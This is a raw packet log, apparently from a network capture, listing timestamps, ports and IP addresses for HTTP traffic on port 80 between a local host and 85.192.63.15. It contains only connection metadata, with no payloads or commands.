Apr 27, 2023 07:42:01.112500906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.112523079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.112545013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.112557888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.112557888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.112579107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.112616062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.112646103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.112669945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.117769957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.117818117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.117851973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.117897987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.117944956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.117990017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.118005991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.118006945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.118035078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.118073940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.118074894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.118074894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.118107080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.118127108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.121082067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.121153116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.121196985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.121212959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.121212959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.121228933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.121273994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.121292114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.121309042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.121340036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.121366024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.122967958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.123014927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.123048067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.123084068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.123111963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.123155117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.124480963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.124517918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.124561071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.124593019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.124603987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.124636889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.124636889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.124670029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.124690056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.124690056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.124743938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.128101110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.128180027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.128180981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.128228903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.128242970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.128266096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.128292084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.128317118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131218910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131320953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131408930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131419897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131455898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131503105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131520033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131536961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131577015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131583929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131613970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131617069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131660938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131664038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131696939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131705046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131720066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.131741047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.131802082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.132915974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.132951975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.132993937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.133028030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.133073092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.133106947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.133122921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.133197069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.138025045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.138075113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.138124943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.138132095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.138166904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.138170958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.138195038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.138211012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.138257980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.138284922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.139545918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.139595032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.139614105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.139641047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.139659882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.139677048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.139710903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.139750004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.141218901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.141268015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.141294956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.141341925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.141360998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.141377926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.141422033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.141447067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146167040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146219015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146265984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146265984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146295071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146300077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146344900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146368027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146389008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146409988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146434069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146455050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146478891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146501064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146518946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.146545887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.146576881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.149662971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.149715900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.149760008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.149764061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.149785995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.149811029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.149828911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.149848938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.149878979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.149908066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.152868986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.152920008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.152966976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.152970076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.152992964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.153012991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.153033972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.153049946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.153084040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.153088093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.153141022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.153141975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.154526949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.154594898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.154642105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.154643059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.154678106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.154687881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.154716015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.154743910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.154768944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159560919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159616947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159665108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159667969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159709930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159715891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159739017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159745932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159784079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159790039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159809113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159835100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159854889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159868956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159902096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159914970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159931898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.159950018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.159980059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.160010099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.162693977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.162745953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.162825108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.162870884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.162879944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.162905931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.162933111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.162977934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164585114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164633036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164678097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164680004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164719105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164733887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164757967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164762974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164784908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164808035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164853096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164855957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164886951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.164901972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164927006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.164968014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.167603970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167640924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167685986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167732000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167732954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.167761087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.167810917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.167815924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167865992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167900085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167937040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.167946100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167992115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.167994976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.168026924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.168045998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.168076992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.168107986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.169281006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.169320107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.169364929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.169397116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.169409990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.169420958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.169445038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.169456005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.169492960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.169528008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.172579050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172616005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172660112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172683001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.172704935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172717094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.172750950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172759056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.172790051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.172830105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172877073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172907114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.172909021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172954082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.172971010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.172990084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.173034906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.173095942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.174422026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.174487114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.174537897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.174537897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.174570084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.174576044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.174616098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.174647093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.175853014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.175947905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.176021099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.176068068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.176090956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.176100969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.176136017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.176142931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.176187038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.176217079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181004047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181068897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181103945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181133986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181153059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181180954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181189060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181235075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181235075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181282997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181286097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181327105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181330919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181363106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.181375980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181421041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.181469917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.182533979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.182583094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.182629108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.182642937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.182667017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.182688951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.182734013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.182775021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.184031963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.184087038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.184149981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.184161901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.184200048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.184220076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.184247017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.184257984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.184293985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.184338093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.186408043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.186459064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.186496019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.186527967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.186541080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.186561108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.186579943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.186618090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.186666965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.189052105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.189152956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.189161062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.189187050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.189227104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.189232111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.189269066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.189277887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.189323902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.189369917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.192342997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192392111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192424059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192467928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192506075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192549944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192564011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.192595005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192641020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.192667007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.192676067 CEST	80	49697	85.192.63.15	192.168.2.3
